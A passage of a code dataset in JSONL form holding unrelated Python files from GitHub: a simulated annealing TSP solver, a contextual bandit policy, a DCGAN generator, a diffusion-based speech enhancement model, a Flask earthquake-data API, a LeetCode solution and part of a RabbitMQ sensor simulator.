data.\nSubmodules implement importers for various data sources.\n\n(cc) 2015 Luis Rodil-Fernandez \n\"\"\"\n\nimport os, sys\nimport logging\n\nimport cookbook\nfrom chef.models import *\nfrom storm.locals import *\n\nclass FoodImporter:\n\t__source__ = \"Undefined\"\n\nclass PostProcessingTool:\n \"\"\"Post processing tools are used to massage the imported data into workable formats\n total processed: {0}\n failed to process: {1}\n \"\"\"\n def __init__(self):\n logging.debug('Init...')\n self.stats = {}\n self.stats['processed'] = 0\n self.stats['failed'] = 0\n self.book = None\n\n def query(self):\n return None\n\n def finalize(self):\n t = Trail()\n t.what = self.__doc__.format(self.stats['processed'], self.stats['failed'])\n t.script = os.path.basename(sys.argv[0])\n self.book.add(t)\n self.book.commit()\n\n def processOne(self):\n pass\n\n def run(self):\n try:\n self.book = Store( cookbook.open() )\n res = self.query()\n #print \"res:\", res\n if res:\n for r in res:\n self.processOne(r)\n except KeyboardInterrupt as e:\n raise e\n except Exception as e:\n logging.error(str(e))\n self.stats['failed'] += 1\n # ad to our list of failures so that we can try some other time\n f = Fail()\n f.reason = str(e)\n self.book.add(f)\n self.book.commit()\n finally:\n self.finalize()\n if self.book: self.book.close()\n logging.info('Finished. Goobye!')\n","repo_name":"dropmeaword/algokitchen","sub_path":"software/knife/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"28554466620","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Nov 12 14:38:56 2019\n\n@author: Carter\n\"\"\"\n\n#simulated Annealing\n\nimport numpy as np\nimport time\nfrom util import write_trace\n\n\ndef swap(pairwise_dist, path,i,j):\n #swaps the position of two local neighbors\n return path[:i] + path[i:j+1][::-1] + path[j+1:]\n\ndef compute_tour(pairwise_dist, path):\n\tcost = 0\n\tfor i in range(len(path)-1):\n\t\tcost += pairwise_dist[path[i]][path[i+1]]\n\treturn cost\n\ndef schedule(t_start,time_limit):\n #linear schedule\n t = time.time() - t_start\n temp = (time_limit - t)/time_limit\n if temp < 0:\n temp = 0\n return temp\n\ndef schedule_exponential(t_start,time_limit):\n #exponential cooling schedule \n t = time.time() - t_start\n alpha = 0.01\n temp = time_limit*alpha**t\n if temp < 0:\n temp = 0\n return temp\n\ndef LS2(pairwise_dist, output_filename, start_time, cut_time, seed):\n \"\"\"\n simulated annealing\n \"\"\"\n np.random.seed(seed) \n N = len(pairwise_dist)\n min_cost = float('inf')\n best_path = None\n\n while True:\n \tpath = np.arange(1, N)\n \tnp.random.shuffle(path)\n \tpath = [0] + list(path) + [0]\n \tupdated = True\n\n \twhile updated:\n \t\tupdated = False\n \t\tfor i in range(1,len(path)-2):\n \t\t\tfor j in range(i+1,len(path)-1):\n #calculte the temperature based on the cooling schedule\n \t\t\t T = schedule_exponential(start_time,cut_time)\n \t\t\t cost_current = compute_tour(pairwise_dist,path)\n \t\t\t if T == 0:\n \t\t\t return cost_current, path\n \t\t\t new_path = swap(pairwise_dist, path, i, j)\n \t\t\t if new_path is not None:\n \t\t\t cost_new = compute_tour(pairwise_dist,new_path)\n \t\t\t #find the normalized change in cost to get the change in energy\n \t\t\t delta_E = (cost_new - cost_current)/cost_current\n \t\t\t #if energy change is less than 0 accept the new path\n \t\t\t if delta_E < 0:\n \t\t\t path = new_path\t\t\t \n \t\t\t else:\n #if the energy is positive randomly accept based on T - temperature\n \t\t\t a = np.random.rand() \t\t\t \n \t\t\t if a < np.exp(-delta_E/T):\n \t\t\t path = new_path \t\t\t \n \t\t\t updated = True\n \t\t\t cost = compute_tour(pairwise_dist, path)\n \t\t\t if cost < min_cost:\n \t\t\t \tmin_cost = cost\n \t\t\t \tbest_path = path\n \t\t\t \twrite_trace(output_filename, start_time, min_cost)\n \t\t\t if time.time() - start_time > cut_time:\n return min_cost, best_path[:-1]\n \n return min_cost, best_path[:-1]\n","repo_name":"carterprice2/Algorithms_final_project","sub_path":"LS2.py","file_name":"LS2.py","file_ext":"py","file_size_in_byte":2686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"43055460385","text":"__author__ = 'bixlermike'\n\n# Ridge regression estimates the weight coefficient vector as:\n# Theta = (xT * x + I)^-1 * xT * y\n# x: Feature vector, xT = transpose of feature vector, I = identity matrix, y = reward vector (all 0s or 1s)\n# Here we use A = (xT * x + I)^-1 and B = (xT * y), so theta is then theta = A^-1 * b\n# Get predictions for each article by multiplying weight vector (theta) * feature vector (x)\n\nimport math\nimport numpy as np\nimport random as rn\n\nfrom exploChallenge.policies.ContextualBanditPolicy import ContextualBanditPolicy\nfrom exploChallenge.policies.RidgeRegressor import RidgeRegressor\n\ndef rargmax(x):\n m = np.amax(x)\n indices = np.nonzero(x == m)[0]\n return rn.choice(indices)\n\nclass eAnnealingContextual(ContextualBanditPolicy):\n\n def __init__(self, regressor):\n self.regressor = regressor\n self.d = 136\n self.trials = 1\n self.regressor_predictions = {}\n # A dxd identity matrix\n self.A = {}\n # Inverse of A\n self.AI = {}\n # A dxd zeroes matrix\n self.b = {}\n # Holds feature vector\n self.x = {}\n # Transpose of feature vector\n self.xT = {}\n # A inverse times b\n self.theta = {}\n # Transpose of theta\n self.thetaT = {}\n\n def getActionToPerform(self, visitor, possibleActions):\n xT = np.array([visitor.getFeatures()])\n x = np.transpose(xT)\n self.x = x\n self.xT = xT\n self.epsilon = 1 / math.log(self.trials + 0.0000001)\n self.trials += 1\n # Set up dictionaries for any articles not seen previously\n for article in possibleActions:\n if article.getID() not in self.A:\n self.A[article.getID()] = np.identity(self.d)\n self.b[article.getID()] = np.zeros((self.d, 1))\n self.AI[article.getID()] = np.identity(self.d)\n # Completes calculation of theta\n self.theta[article.getID()] = np.dot(self.AI[article.getID()], self.b[article.getID()])\n self.thetaT[article.getID()] = np.transpose(self.theta[article.getID()])\n # Now use estimated feature coefficients to predict which article is best given the contextual information\n self.regressor_predictions[article.getID()] = float(np.dot(self.thetaT[article.getID()], x))\n\n ## Exploit\n if rn.random() > self.epsilon:\n\n regressor_values = [self.regressor_predictions[a.getID()] for a in possibleActions]\n return possibleActions[rargmax(regressor_values)]\n\n ## Explore\n else:\n randomIndex = rn.randint(0, len(possibleActions) - 1)\n return possibleActions[randomIndex]\n\n\n def updatePolicy(self, content, chosen_arm, reward):\n # updatePolicy\n if reward == 1:\n self.rewards = 1\n else:\n self.rewards = 0\n # Part of theta calculation equivalent to x * x tranpose + identity matrix\n self.A[chosen_arm.getID()] += np.outer(self.x, self.x) + np.identity(self.d)\n # Equivalent to x transpose * y (reward)\n self.b[chosen_arm.getID()] += self.x * self.rewards\n\n #if self.rewards == 1:\n # print np.transpose(self.b[chosen_arm.getID()])\n # Need to do inverse of A for final calculation of theta\n self.AI[chosen_arm.getID()] = np.linalg.inv(self.A[chosen_arm.getID()])\n\n","repo_name":"nocommonsents/Contextual-Bandits","sub_path":"exploChallenge/policies/eAnnealingContextual.py","file_name":"eAnnealingContextual.py","file_ext":"py","file_size_in_byte":3405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"74164625733","text":"import numpy as np\r\n\r\nimport torch\r\nimport torch.nn as nn\r\n\r\nimport data\r\nimport utils\r\n\r\nclass DCNNGenerator(nn.Module):\r\n '''\r\n Based on\r\n https://pytorch.org/tutorials/beginner/dcgan_faces_tutorial.html\r\n '''\r\n nz = 128\r\n nf = 64\r\n\r\n def __init__(self):\r\n super(DCNNGenerator, self).__init__()\r\n self.main = nn.Sequential(\r\n # input is Z, going into a convolution\r\n nn.ConvTranspose2d(self.nz, self.nf * 8, 4, 1, 0, bias=False),\r\n nn.BatchNorm2d(self.nf * 8),\r\n nn.ReLU(True),\r\n # state size. (self.nf*8) x 4 x 4\r\n nn.ConvTranspose2d(self.nf * 8, self.nf * 4, 4, 2, 1, bias=False),\r\n nn.BatchNorm2d(self.nf * 4),\r\n nn.ReLU(True),\r\n # state size. (self.nf*4) x 8 x 8\r\n nn.ConvTranspose2d(self.nf * 4, self.nf * 2, 4, 2, 1, bias=False),\r\n nn.BatchNorm2d(self.nf * 2),\r\n nn.ReLU(True),\r\n # state size. (self.nf*2) x 16 x 16\r\n nn.ConvTranspose2d(self.nf * 2, self.nf, 4, 2, 1, bias=False),\r\n nn.BatchNorm2d(self.nf),\r\n nn.ReLU(True),\r\n # state size. (self.nf) x 32 x 32\r\n nn.ConvTranspose2d(self.nf, data.CHANNELS, 4, 2, 1, bias=False),\r\n nn.Tanh()\r\n # state size. (nc) x 64 x 64\r\n )\r\n def parameters_for_optimizer(self):\r\n return self.parameters()\r\n def forward(self, x):\r\n x = x[:, :, None, None]\r\n return self.main(x)\r\n\r\nif __name__ == '__main__':\r\n gen = DCNNGenerator()\r\n print('Trainable parameters:', utils.count_parameters(gen))","repo_name":"laitalaj/nopemon","sub_path":"dcgenerator.py","file_name":"dcgenerator.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"41773901517","text":"from math import ceil\nimport warnings\n\nimport matplotlib.pyplot as plt\n\nimport torch\nimport pytorch_lightning as pl\nfrom torch_ema import ExponentialMovingAverage\nimport wandb\nimport time\nimport os\nimport numpy as np\nimport torchaudio\n\nfrom sgmse import sampling\nfrom sgmse.sdes import SDERegistry\nfrom sgmse.backbones import BackboneRegistry\nfrom sgmse.util.inference import evaluate_model\nfrom sgmse.util.graphics import visualize_example\nfrom sgmse.util.other import pad_spec, pad_time, si_sdr_torch\nVIS_EPOCHS = 5 \n\ntorch.autograd.set_detect_anomaly(True)\n\nclass ScoreModel(pl.LightningModule):\n def __init__(self,\n backbone: str = \"ncsnpp\", sde: str = \"vesde\", preconditioning = \"song\",\n lr: float = 1e-4, ema_decay: float = 0.999,\n t_eps: float = 3e-2, transform: str = 'none', nolog: bool = False,\n num_eval_files: int = 10, loss_type: str = 'mse', data_module_cls = None, \n condition: str = \"none\", **kwargs\n ):\n \"\"\"\n Create a new ScoreModel.\n\n Args:\n backbone: The underlying backbone DNN that serves as a score-based model.\n Must have an output dimensionality equal to the input dimensionality.\n sde: The SDE to use for the diffusion.\n lr: The learning rate of the optimizer. (1e-4 by default).\n ema_decay: The decay constant of the parameter EMA (0.999 by default).\n t_eps: The minimum time to practically run for to avoid issues very close to zero (1e-5 by default).\n reduce_mean: If `True`, average the loss across data dimensions.\n Otherwise sum the loss across data dimensions.\n \"\"\"\n # print(kwargs)\n super().__init__()\n # Initialize Backbone DNN\n dnn_cls = BackboneRegistry.get_by_name(backbone)\n chan_multiplier = 1 if (\"return_time\" in kwargs.keys() and kwargs[\"return_time\"]) else 2 \n kwargs.update(input_channels=1*chan_multiplier)\n\n self.dnn = dnn_cls(**kwargs)\n # Initialize SDE\n sde_cls = SDERegistry.get_by_name(sde)\n self.sde = sde_cls(**kwargs)\n # Store hyperparams and save them\n self.preconditioning = preconditioning\n self.lr = lr\n self.ema_decay = ema_decay\n self.ema = ExponentialMovingAverage(self.parameters(), decay=self.ema_decay)\n self._error_loading_ema = False\n self.t_eps = t_eps\n self.loss_type = loss_type\n self.num_eval_files = num_eval_files\n\n self.save_hyperparameters(ignore=['nolog'])\n self.data_module = data_module_cls(**kwargs)\n self.condition = condition\n self._reduce_op = lambda *args, **kwargs: 0.5 * torch.sum(*args, **kwargs)\n\n if self.preconditioning == \"karras\":\n self.p_mean = kwargs[\"p_mean\"]\n self.p_std = kwargs[\"p_std\"]\n self.sigma_data = kwargs[\"sigma_data\"]\n\n self.nolog = nolog\n\n @staticmethod\n def add_argparse_args(parser):\n parser.add_argument(\"--lr\", type=float, default=1e-4, help=\"The learning rate\")\n parser.add_argument(\"--ema_decay\", type=float, default=0.999, help=\"The parameter EMA decay constant (0.999 by default)\")\n parser.add_argument(\"--t_eps\", type=float, default=0.03, help=\"The minimum time (3e-2 by default)\")\n parser.add_argument(\"--num_eval_files\", type=int, default=10, help=\"Number of files for speech enhancement performance evaluation during training.\")\n parser.add_argument(\"--loss_type\", type=str, default=\"mse\", choices=(\"mse\", \"mae\", \"gaussian_entropy\", \"kristina\", \"sisdr\", \"time_mse\"), help=\"The type of loss function to use.\")\n parser.add_argument(\"--condition\", default=\"noisy\", choices=[\"noisy\", \"none\"])\n parser.add_argument(\"--preconditioning\", default=\"song\", choices=[\"song\", \"karras\"])\n\n parser.add_argument(\"--sigma_data\", type=float, default=0.1)\n parser.add_argument(\"--p_mean\", type=float, default=-1.2)\n parser.add_argument(\"--p_std\", type=float, default=1.2)\n\n return parser\n\n def configure_optimizers(self):\n optimizer = torch.optim.Adam(self.parameters(), lr=self.lr)\n return optimizer\n\n def optimizer_step(self, *args, **kwargs):\n # Method overridden so that the EMA params are updated after each optimizer step\n super().optimizer_step(*args, **kwargs)\n self.ema.update(self.parameters())\n\n # on_load_checkpoint / on_save_checkpoint needed for EMA storing/loading\n def on_load_checkpoint(self, checkpoint):\n ema = checkpoint.get('ema', None)\n if ema is not None:\n self.ema.load_state_dict(checkpoint['ema'])\n else:\n self._error_loading_ema = True\n warnings.warn(\"EMA state_dict not found in checkpoint!\")\n\n def on_save_checkpoint(self, checkpoint):\n checkpoint['ema'] = self.ema.state_dict()\n\n def train(self, mode, no_ema=False):\n res = super().train(mode) # call the standard `train` method with the given mode\n if not self._error_loading_ema:\n if mode == False and not no_ema:\n # eval\n self.ema.store(self.parameters()) # store current params in EMA\n self.ema.copy_to(self.parameters()) # copy EMA parameters over current params for evaluation\n else:\n # train\n if self.ema.collected_params is not None:\n self.ema.restore(self.parameters()) # restore the EMA weights (if stored)\n return res\n\n def eval(self, no_ema=False):\n return self.train(False, no_ema=no_ema)\n\n def _loss(self, err, sigma, err_time=None, err_mag=None):\n if self.loss_type == 'mse':\n losses = torch.square(err.abs())\n losses = self.preconditioning_loss(losses, sigma)\n loss = torch.mean(0.5*torch.sum(losses.reshape(losses.shape[0], -1), dim=-1))\n\n elif self.loss_type == 'mae':\n losses = err.abs()\n losses = self.preconditioning_loss(losses, sigma)\n loss = torch.mean(0.5*torch.sum(losses.reshape(losses.shape[0], -1), dim=-1))\n\n return loss\n\n def preconditioning_input(self, dnn_input, t):\n if self.preconditioning == \"song\":\n scale = 1.\n if self.preconditioning == \"karras\":\n sigma = self.sde._std(t).squeeze()\n scale = 1/torch.sqrt( self.sigma_data**2 + sigma**2)\n if scale.ndim and scale.ndim < dnn_input.ndim:\n scale = scale.view(scale.size(0), *(1,)*(dnn_input.ndim - scale.ndim))\n return scale * dnn_input\n\n def preconditioning_noise(self, t):\n if self.preconditioning == \"song\":\n if not t.ndim:\n t = t.unsqueeze(0)\n return t\n \n if self.preconditioning == \"song_sigma\":\n sigma = self.sde._std(t).squeeze()\n sigma = sigma.unsqueeze(0)\n return sigma\n \n if self.preconditioning == \"karras\":\n sigma = self.sde._std(t).squeeze()\n if not sigma.ndim:\n sigma = sigma.unsqueeze(0)\n sigma = sigma **.25\n # return .25 * torch.log(sigma + 1e-10)\n return sigma\n\n def preconditioning_output(self, dnn_output, t):\n if self.preconditioning == \"song\":\n sigma = self.sde._std(t).squeeze()\n scale = sigma\n elif self.preconditioning == \"karras\":\n sigma = self.sde._std(t).squeeze()\n scale = sigma * self.sigma_data / torch.sqrt( self.sigma_data**2 + sigma**2)\n if scale.ndim and scale.ndim < dnn_output.ndim:\n scale = scale.view(scale.size(0), *(1,)*(dnn_output.ndim - scale.ndim))\n return scale * dnn_output\n\n def preconditioning_skip(self, x, t):\n if self.preconditioning == \"song\":\n scale = 1.\n if self.preconditioning == \"karras\":\n sigma = self.sde._std(t).squeeze()\n scale = self.sigma_data**2 / (sigma**2 + self.sigma_data**2)\n if scale.ndim and scale.ndim < x.ndim:\n scale = scale.view(scale.size(0), *(1,)*(x.ndim - scale.ndim))\n return scale * x\n\n def preconditioning_loss(self, loss, sigma):\n if self.preconditioning == \"song\":\n weight = 1. / sigma**2\n if self.preconditioning == \"karras\":\n weight = (sigma**2 + self.sigma_data**2) / (sigma + self.sigma_data)**2\n return weight * loss\n\n def sample_time(self, x):\n if self.preconditioning == \"song\":\n t = torch.rand(x.shape[0], device=x.device) * (self.sde.T - self.t_eps) + self.t_eps\n if self.preconditioning == \"karras\":\n log_sigma = self.p_mean + self.p_std * torch.randn(x.shape[0], device=x.device)\n sigma = self.t_eps + torch.exp(log_sigma)\n t = self.sde._inverse_std(sigma)\n return t\n\n def forward(self, x, t, score_conditioning, **kwargs):\n dnn_input = torch.cat([x] + score_conditioning, dim=1) #b,n_input*d,f,t\n dnn_input = self.preconditioning_input(dnn_input, t)\n noise_input = self.preconditioning_noise(t)\n dnn_output = self.dnn(dnn_input, noise_input)\n output = self.preconditioning_output(dnn_output, t)\n skip = self.preconditioning_skip(x, t)\n\n tweedie_denoiser = skip + output\n\n return tweedie_denoiser\n\n def _step(self, batch, batch_idx):\n if len(batch) == 1: #In case we use a dataset with only clean speech\n x, y = batch, None\n elif len(batch) == 2:\n x, y = batch\n t = self.sample_time(x)\n mean, std = self.sde.marginal_prob(x, t, y)\n z = torch.randn_like(x)\n if std.ndim < x.ndim:\n std = std.view(*std.size(), *((1,)*(x.ndim - std.ndim)))\n sigma = std\n perturbed_data = mean + sigma * z\n\n score_conditioning = []\n tweedie_denoiser = self(perturbed_data, t, score_conditioning=score_conditioning, sde_input=y)\n\n err = tweedie_denoiser - x\n loss = self._loss(err, sigma)\n return loss\n\n def training_step(self, batch, batch_idx):\n loss = self._step(batch, batch_idx)\n self.log('train_loss', loss, on_step=True, on_epoch=True, batch_size=self.data_module.batch_size)\n return loss\n\n def validation_step(self, batch, batch_idx, discriminative=False, sr=16000):\n loss = self._step(batch, batch_idx)\n self.log('valid_loss', loss, on_step=False, on_epoch=True, batch_size=self.data_module.batch_size)\n\n # Evaluate speech enhancement performance\n if batch_idx == 0 and self.num_eval_files != 0:\n pesq_est, si_sdr_est, estoi_est, spec, audio = evaluate_model(self, self.num_eval_files, spec=not self.current_epoch%VIS_EPOCHS, audio=not self.current_epoch%VIS_EPOCHS, discriminative=discriminative)\n print(f\"PESQ at epoch {self.current_epoch} : {pesq_est:.2f}\")\n print(f\"SISDR at epoch {self.current_epoch} : {si_sdr_est:.1f}\")\n print(f\"ESTOI at epoch {self.current_epoch} : {estoi_est:.2f}\")\n print('__________________________________________________________________')\n \n self.log('ValidationPESQ', pesq_est, on_step=False, on_epoch=True)\n self.log('ValidationSISDR', si_sdr_est, on_step=False, on_epoch=True)\n self.log('ValidationESTOI', estoi_est, on_step=False, on_epoch=True)\n\n if audio is not None and self.logger is not None:\n y_list, x_hat_list, x_list = audio\n for idx, (y, x_hat, x) in enumerate(zip(y_list, x_hat_list, x_list)):\n if self.current_epoch == 0:\n self.logger.experiment.add_audio(f\"Epoch={self.current_epoch} Mix/{idx}\", (y / torch.max(torch.abs(y))).unsqueeze(-1), sample_rate=sr, global_step=self.current_epoch)\n self.logger.experiment.add_audio(f\"Epoch={self.current_epoch} Clean/{idx}\", (x / torch.max(x)).unsqueeze(-1), sample_rate=sr, global_step=self.current_epoch)\n self.logger.experiment.add_audio(f\"Epoch={self.current_epoch} Estimate/{idx}\", (x_hat / torch.max(torch.abs(x_hat))).unsqueeze(-1), sample_rate=sr, global_step=self.current_epoch)\n\n if spec is not None and self.logger is not None:\n figures = []\n y_stft_list, x_hat_stft_list, x_stft_list = spec\n for idx, (y_stft, x_hat_stft, x_stft) in enumerate(zip(y_stft_list, x_hat_stft_list, x_stft_list)):\n figures.append(\n visualize_example(\n torch.abs(y_stft), \n torch.abs(x_hat_stft), \n torch.abs(x_stft), return_fig=True))\n self.logger.experiment.add_figure(f\"Epoch={self.current_epoch}/Spec\", figures)\n\n return loss\n\n def to(self, *args, **kwargs):\n self.ema.to(*args, **kwargs)\n return super().to(*args, **kwargs)\n\n def get_song_sampler(self, \n probability_flow,\n predictor_name, scheduler_name, sde_input, N, \n conditioning, \n posterior_name, operator, measurement, A, zeta, zeta_schedule,\n corrector_name, r, corrector_steps,\n **kwargs):\n\n N = self.sde.N if N is None else N\n sde = self.sde.copy()\n sde.N = N\n if self.data_module.return_time:\n linearization = lambda x: x\n else:\n linearization = lambda x: self._istft(self._backward_transform(x))\n score_fn = lambda x, t, score_conditioning: self.sde.score_from_tweedie(self(x, t, score_conditioning), x, t, sde_input)\n return sampling.get_song_sampler(\n predictor_name, scheduler_name, sde=sde, score_fn=score_fn, sde_input=sde_input, \n eps=self.t_eps, probability_flow=probability_flow, conditioning=conditioning, \n posterior_name=posterior_name, operator=operator, measurement=measurement, A=A, zeta=zeta, zeta_schedule=zeta_schedule, linearization=linearization, \n corrector_name=corrector_name, r=r, corrector_steps=corrector_steps,\n **kwargs)\n\n def get_karras_sampler(self, \n probability_flow,\n predictor_name, scheduler_name, sde_input, N, \n conditioning, \n posterior_name, operator, measurement, A, zeta, zeta_schedule,\n noise_std, smin, smax, churn,\n **kwargs):\n\n N = self.sde.N if N is None else N\n sde = self.sde.copy()\n sde.N = N\n if self.data_module.return_time:\n linearization = lambda x: x\n else:\n linearization = lambda x: self._istft(self._backward_transform(x))\n score_fn = lambda x, t, score_conditioning: self.sde.score_from_tweedie(self(x, t, score_conditioning), x, t, sde_input)\n return sampling.get_karras_sampler(\n predictor_name, scheduler_name, sde=sde, score_fn=score_fn, sde_input=sde_input, \n eps=self.t_eps, probability_flow=probability_flow, conditioning=conditioning, \n posterior_name=posterior_name, operator=operator, measurement=measurement, A=A, zeta=zeta, zeta_schedule=zeta_schedule, linearization=linearization, \n noise_std=noise_std, smin=smin, smax=smax, churn=churn,\n **kwargs)\n\n def train_dataloader(self):\n return self.data_module.train_dataloader()\n\n def val_dataloader(self):\n return self.data_module.val_dataloader()\n\n def test_dataloader(self):\n return self.data_module.test_dataloader()\n\n def setup(self, stage=None):\n return self.data_module.setup(stage=stage)\n\n def to_audio(self, spec, length=None):\n return self._istft(self._backward_transform(spec), length)\n\n def _forward_transform(self, spec):\n return self.data_module.spec_fwd(spec)\n\n def _backward_transform(self, spec):\n return self.data_module.spec_back(spec)\n\n def _stft(self, sig):\n return self.data_module.stft(sig)\n\n def _istft(self, spec, length=None):\n return self.data_module.istft(spec, length)\n\n def enhance(self, y, \n sampler_type=\"song\", probability_flow=True, N=50, scheduler=\"linear\",\n predictor=\"euler-maruyama\",\n posterior=\"none\", operator=\"reverberation\", A=None, zeta=50., zeta_schedule=\"lin-increase\",\n corrector=\"ald\", r=0.4, corrector_steps=1, \n noise_std=1.007, smin=0.05, smax=.8, churn=.1,\n **kwargs\n ):\n \"\"\"\n One-call speech enhancement of noisy speech `y`, for convenience.\n \"\"\"\n start = time.time()\n T_orig = y.size(1)\n\n norm_factor = y.abs().max()\n y = y / norm_factor\n if self.data_module.return_time:\n Y = torch.unsqueeze(y.cuda(), 0)\n Y = pad_time(Y)\n else:\n Y = torch.unsqueeze(self._forward_transform(self._stft(y.cuda())), 0)\n Y = pad_spec(Y)\n if A is not None:\n A = A.cuda()\n\n if self.condition == \"none\":\n score_conditioning = []\n elif self.condition == \"noisy\":\n score_conditioning = [Y]\n\n if sampler_type == \"song\":\n sampler = self.get_song_sampler(\n probability_flow=probability_flow,\n predictor_name=predictor, scheduler_name=scheduler, sde_input=Y, N=N,\n conditioning=score_conditioning, \n posterior_name=posterior, operator=operator, measurement=Y, A=A, zeta=zeta, zeta_schedule=zeta_schedule,\n corrector_name=corrector, r=r, corrector_steps=corrector_steps,\n **kwargs)\n elif sampler_type == \"karras\":\n sampler = self.get_karras_sampler(\n probability_flow=probability_flow,\n predictor_name=predictor, scheduler_name=scheduler, sde_input=Y, N=N,\n conditioning=score_conditioning, \n posterior_name=posterior, operator=operator, measurement=Y, A=A, zeta=zeta, zeta_schedule=zeta_schedule,\n noise_std=noise_std, smin=smin, smax=smax, churn=churn,\n **kwargs)\n else:\n print(\"{} is not a valid sampler type!\".format(sampler_type))\n sample = sampler()[0]\n\n # if kwargs.get(\"path\", None) is not None:\n # visualize_one(sample.squeeze(), spec_path=kwargs['path'], name=\"_in_domain\")\n\n if self.data_module.return_time:\n x_hat = sample.squeeze()[..., : T_orig]\n else:\n x_hat = self.to_audio(sample.squeeze(), T_orig)\n x_hat = x_hat * norm_factor\n x_hat = x_hat.squeeze().cpu()\n return x_hat\n","repo_name":"sp-uhh/derevdps","sub_path":"sgmse/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":18613,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"44"} +{"seq_id":"31626594569","text":"from flask import Flask, jsonify, request\n\nimport pandas as pd\nimport re\n\nfrom urllib.request import urlopen\nimport json\nfrom bs4 import BeautifulSoup\n\nimport warnings\nwarnings.simplefilter(\"ignore\")\n# ------------------------------------------------------------------------------------------------------------\ndef getDataFromKandilli():\n try:\n result = []\n data = urlopen('http://www.koeri.boun.edu.tr/scripts/sondepremler.asp').read()\n soup = BeautifulSoup(data, 'html.parser', from_encoding='utf8')\n data = soup.find_all('pre')\n data = str(data).strip().split('--------------')[2]\n data = data.split('\\n')\n data = data[1:-2]\n \n indices = range(len(data))\n for i in indices:\n row = str(data[i].strip())\n row = re.sub(r'[\\s]+', ' ', row)\n rowList = row.split(' ')\n json_data = json.dumps({\n \"id\": i+1,\n \"date\": rowList[0],\n \"hour\": rowList[1],\n \"latitude\": float(rowList[2]),\n \"longitude\": float(rowList[3]),\n \"depth\": float(rowList[4]),\n \"size\": float(rowList[6]),\n \"province\": rowList[8],\n \"city\": re.sub(r'[()]','', rowList[9]) if rowList[9] != 'İlksel' else re.sub(r'\\)', '', re.sub(r'.*\\(','', rowList[8])), \n \"attribute\": rowList[-1]\n }, sort_keys=False)\n\n result.append(json.loads(json_data))\n except:\n result = None\n return result\n# ------------------------------------------------------------------------------------------------------------\napp = Flask(__name__)\n# ------------------------------------------------------------------------------------------------------------\n@app.route('/recentEQ', methods=['GET'])\ndef main():\n # Get data sent via JSON or browser as ../suitable?customerIdx=P00002C00001&tableWeight=1&moreThanOne=1\n reqInfo = request.get_json() if (request.is_json) else request.args.to_dict()\n # Get the argument names sent via the request...\n reqKeys = reqInfo.keys()\n # Get parameters from relevant arguments of the request...\n size = float(reqInfo['size']) if 'size' in reqKeys else None\n location = reqInfo['city'] if 'city' in reqKeys else None\n showMsg = bool(reqInfo['showMsg']) if 'showMsg' in reqKeys else False\n # Fetch recent earthquake data from Kandilli Observatory... \n data = getDataFromKandilli()\n # Return an error message in case any problems are encountered...\n if data == None: \n return pd.DataFrame(data=['Oopps...'],columns=['Message'])\n # Convert data to dataframe...\n df = pd.DataFrame(data=data, index=None)\n # Filter by size if requested...\n if size is not None:\n df = df[df['size'] >= size]\n # Filter by location if requested...\n if location is not None:\n df = df[df['city'] == location.upper().strip()]\n # Convert JSON data for sharing...\n dfJSON = json.loads(df.to_json(orient='split'))\n dfKeys = dfJSON['columns']\n dfData = dfJSON['data']\n # Prepare data to be shared...\n resData = []\n for data in dfData:\n jsonData = {}\n for i in range(len(dfKeys)):\n jsonData.update({dfKeys[i]:data[i]})\n\n jsonDataOrdered = json.dumps(jsonData, sort_keys=False)\n resData.append(json.loads(jsonDataOrdered))\n # Share the data according to 'showMsg' parameter...\n if showMsg is True:\n msg = []\n for i in range(len(resData)):\n msg.append(f'{resData[i][\"date\"]} {resData[i][\"hour\"]} tarihinde {resData[i][\"city\"]} ilinde {resData[i][\"size\"]} büyüklüğünde {resData[i][\"attribute\"]} bir deprem meydana geldi.')\n return msg\n else:\n return resData\n# ------------------------------------------------------------------------------------------------------------\nif __name__ == '__main__':\n app.run(debug=True, threaded=True, port=5000)","repo_name":"SuleymanCakici/recent-earthquakes-in-turkey","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"35569486367","text":"\n# @Title: 二维数组中的查找 (二维数组中的查找 LCOF)\n# @Author: cocofe\n# @Date: 2020-03-06 01:49:45\n# @Runtime: 28 ms\n# @Memory: 15.3 MB\n\nclass Solution(object):\n def findNumberIn2DArray(self, matrix, target):\n \"\"\"\n :type matrix: List[List[int]]\n :type target: int\n :rtype: bool\n \"\"\"\n for row in matrix:\n if not row:\n return False\n if row[0] > target:\n return False\n elif row[0] == target:\n return True\n for col in row:\n if col < target:\n continue\n elif col == target:\n return True\n else:\n break\n return False\n","repo_name":"cocofe/leetcode-solutions","sub_path":"Problemset/er-wei-shu-zu-zhong-de-cha-zhao-lcof/er-wei-shu-zu-zhong-de-cha-zhao-lcof.py","file_name":"er-wei-shu-zu-zhong-de-cha-zhao-lcof.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"71249798852","text":"import pika \nimport json \nimport time \nimport sys\nimport os \nimport random\n\nRABBIT_HOST= 'localhost' \n\n\ndef main(argv):\n\n #Connect\n connection = pika.BlockingConnection(pika.ConnectionParameters(RABBIT_HOST)) \n channel = connection.channel() \n \n \n _id=argv[0]\n\n pid = os.getpid() \n print(\"sensorID:\" + str(_id) + \" PID:\" + str(pid)) \n\n\n #Send Data \n while True:\n time.sleep(random.randint(20,70)) #random() is a value from 0 to 1 => sleep entre 10 a 20 segundos\n people=random.randint(0,25) \n\n data = { \n \"id\": _id, \n \"data\": int(people), \n } \n\n message = json.dumps(data) \n channel.basic_publish(exchange='PYsensors', routing_key=\"people_counter\", body=message) \n\n print(\" [Sensor_id:+ \"+str(_id)+\"] Sent data to RabbitMQ\" + \", value:\" + str(int(people))) \n\n\n connection.close() \n\n\nif __name__ 